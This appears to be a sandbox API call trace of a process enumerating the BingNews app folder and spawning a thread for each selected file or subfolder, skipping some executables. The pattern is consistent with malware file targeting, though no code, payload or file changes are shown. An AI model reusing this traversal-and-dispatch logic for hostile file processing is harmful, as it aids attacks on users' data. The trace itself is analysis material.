	[0077.722] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705138c0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70585fca, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0077.722] wcscmp (_String1="Microsoft.Advertising.dll", _String2=".") returned 1
	[0077.722] wcscmp (_String1="Microsoft.Advertising.dll", _String2="..") returned 1
	[0077.722] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70585fca, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70585fca, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70585fca, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.winmd", cAlternateFileName="")) returned 1
	[0077.722] wcscmp (_String1="Microsoft.Advertising.winmd", _String2=".") returned 1
	[0077.722] wcscmp (_String1="Microsoft.Advertising.winmd", _String2="..") returned 1
	[0077.722] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477ec70
	[0077.722] wcscpy (in: _Dest=0x477ec70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.722] wcscat (in: _Dest=0x477ec70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.722] wcscat (in: _Dest=0x477ec70, _Source="Microsoft.Advertising.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd"
	[0077.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477ec70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0
	[0077.723] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705ac224, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x9d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Aria.ClientTelemetry.dll", cAlternateFileName="")) returned 1
	[0077.723] wcscmp (_String1="Microsoft.Aria.ClientTelemetry.dll", _String2=".") returned 1
	[0077.723] wcscmp (_String1="Microsoft.Aria.ClientTelemetry.dll", _String2="..") returned 1
	[0077.723] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705ac224, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Aria.ClientTelemetry.winmd", cAlternateFileName="")) returned 1
	[0077.723] wcscmp (_String1="Microsoft.Aria.ClientTelemetry.winmd", _String2=".") returned 1
	[0077.723] wcscmp (_String1="Microsoft.Aria.ClientTelemetry.winmd", _String2="..") returned 1
	[0077.723] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2e3b750
	[0077.723] wcscpy (in: _Dest=0x2e3b750, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.723] wcscat (in: _Dest=0x2e3b750, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.723] wcscat (in: _Dest=0x2e3b750, _Source="Microsoft.Aria.ClientTelemetry.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd"
	[0077.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3b750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc
	[0077.724] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705ac224, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa20e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.News.dll", cAlternateFileName="")) returned 1
	[0077.724] wcscmp (_String1="Microsoft.Msn.News.dll", _String2=".") returned 1
	[0077.724] wcscmp (_String1="Microsoft.Msn.News.dll", _String2="..") returned 1
	[0077.724] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7074fc08, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.News.exe", cAlternateFileName="")) returned 1
	[0077.724] wcscmp (_String1="Microsoft.Msn.News.exe", _String2=".") returned 1
	[0077.724] wcscmp (_String1="Microsoft.Msn.News.exe", _String2="..") returned 1
	[0077.724] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45af55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Services", cAlternateFileName="MICROS~1.SER")) returned 1
	[0077.724] wcscmp (_String1="Microsoft.Msn.Services", _String2=".") returned 1
	[0077.724] wcscmp (_String1="Microsoft.Msn.Services", _String2="..") returned 1
	[0077.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ca480
	[0077.724] wcscpy (in: _Dest=0x47ca480, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.724] wcscat (in: _Dest=0x47ca480, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.724] wcscat (in: _Dest=0x47ca480, _Source="Microsoft.Msn.Services" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services"
	[0077.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ca480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8
	[0077.725] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa4624cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1
	[0077.725] wcscmp (_String1="Microsoft.Msn.Shell", _String2=".") returned 1
	[0077.725] wcscmp (_String1="Microsoft.Msn.Shell", _String2="..") returned 1
	[0077.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47ca550
	[0077.725] wcscpy (in: _Dest=0x47ca550, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.725] wcscat (in: _Dest=0x47ca550, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.725] wcscat (in: _Dest=0x47ca550, _Source="Microsoft.Msn.Shell" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell"
	[0077.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ca550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4
	[0077.726] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa466063, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.726] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.726] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768ab0
	[0077.726] wcscpy (in: _Dest=0x4768ab0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.726] wcscat (in: _Dest=0x4768ab0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.726] wcscat (in: _Dest=0x4768ab0, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4768ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0
	[0077.728] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1
	[0077.728] wcscmp (_String1="MicrosoftAdvertising.ini", _String2=".") returned 1
	[0077.728] wcscmp (_String1="MicrosoftAdvertising.ini", _String2="..") returned 1
	[0077.728] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477d2b0
	[0077.728] wcscpy (in: _Dest=0x477d2b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.728] wcscat (in: _Dest=0x477d2b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.728] wcscat (in: _Dest=0x477d2b0, _Source="MicrosoftAdvertising.ini" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini"
	[0077.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac
	[0077.729] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa466b87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAdvertisingJS", cAlternateFileName="MSADVE~1")) returned 1
	[0077.729] wcscmp (_String1="MSAdvertisingJS", _String2=".") returned 1
	[0077.729] wcscmp (_String1="MSAdvertisingJS", _String2="..") returned 1
	[0077.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476c478
	[0077.729] wcscpy (in: _Dest=0x476c478, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.729] wcscat (in: _Dest=0x476c478, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.729] wcscat (in: _Dest=0x476c478, _Source="MSAdvertisingJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS"
	[0077.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476c478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8
	[0077.730] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1
	[0077.730] wcscmp (_String1="PlatformConfiguration.xml", _String2=".") returned 1
	[0077.730] wcscmp (_String1="PlatformConfiguration.xml", _String2="..") returned 1
	[0077.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477bf48
	[0077.730] wcscpy (in: _Dest=0x477bf48, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.730] wcscat (in: _Dest=0x477bf48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.730] wcscat (in: _Dest=0x477bf48, _Source="PlatformConfiguration.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml"
	[0077.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477bf48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4
	[0077.731] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7079c0bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x6c528, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.731] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.731] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.731] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4769d28
	[0077.731] wcscpy (in: _Dest=0x4769d28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.731] wcscat (in: _Dest=0x4769d28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.731] wcscat (in: _Dest=0x4769d28, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri"
	[0077.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4769d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0
	[0077.732] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079c0bc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7079c0bc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x707c2312, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe5200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLite3Wrapper.dll", cAlternateFileName="")) returned 1
	[0077.732] wcscmp (_String1="SQLite3Wrapper.dll", _String2=".") returned 1
	[0077.732] wcscmp (_String1="SQLite3Wrapper.dll", _String2="..") returned 1
	[0077.732] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c2312, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x707c2312, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x707c2312, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLiteWrapper.winmd", cAlternateFileName="")) returned 1
	[0077.732] wcscmp (_String1="SQLiteWrapper.winmd", _String2=".") returned 1
	[0077.732] wcscmp (_String1="SQLiteWrapper.winmd", _String2="..") returned 1
	[0077.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47ca620
	[0077.732] wcscpy (in: _Dest=0x47ca620, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.732] wcscat (in: _Dest=0x47ca620, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.732] wcscat (in: _Dest=0x47ca620, _Source="SQLiteWrapper.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd"
	[0077.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ca620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c
	[0077.733] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d5b50, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0077.733] wcscmp (_String1="_Resources", _String2=".") returned 1
	[0077.733] wcscmp (_String1="_Resources", _String2="..") returned 1
	[0077.733] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddb988
	[0077.733] wcscpy (in: _Dest=0x2ddb988, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.733] wcscat (in: _Dest=0x2ddb988, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.733] wcscat (in: _Dest=0x2ddb988, _Source="_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources"
	[0077.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddb988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498
	[0077.734] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d5b50, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0077.734] FindClose (in: hFindFile=0x2d70f40 | out: hFindFile=0x2d70f40) returned 1
